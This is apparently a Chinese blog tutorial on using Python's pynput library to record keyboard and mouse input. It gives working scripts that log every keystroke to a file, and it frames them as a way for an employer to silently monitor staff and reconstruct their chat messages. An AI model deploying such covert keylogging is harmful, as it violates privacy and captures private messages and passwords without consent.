你知道怎麼用Python監控聊天記錄嗎

在這裡插入圖片描述

關於 pynput

    pynput 可以監控我們的鍵盤和鼠標。目前具有此類功能的庫有很多,比如 pygame 等遊戲庫,但是當我們隻需要監控鍵盤和鼠標時,它們就顯得過於笨重瞭,我們可以選擇輕量,快速的 pynput。

實例

鍵盤監控

    假設公司想要靜默為我們的電腦常駐一個後臺進程去實現監控我們的鍵盤輸入並記錄下來,他們大概可以這樣做:

from pynput import keyboard


def on_press(key):
    print(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False


with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()
復制代碼

控制臺打印:                   

在這裡插入圖片描述

鼠標監控

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()
復制代碼

控制臺打印:                   

在這裡插入圖片描述

你會發現,每條打印都被打印瞭兩次,這是因為按下去和抬起來都會觸發鼠標事件。

監控並記錄到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

# 定義日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# 定義f1用於線程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()



def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')

# 定義f2用於線程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起兩個線程分別監控鍵盤和鼠標
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()
復制代碼

查看日志內容:   

在這裡插入圖片描述

    如上,我們的鍵盤操作全部已經被記錄,通過對這個日志文件進行簡單的 NLTK 語言處理,就能復原你的聊天記錄。

以上就是今天的全部內容瞭,感謝您的閱讀,我們下節再會。

到此這篇關於你知道怎麼用Python監控聊天記錄嗎的文章就介紹到這瞭,更多相關Python 監控內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!

推薦閱讀: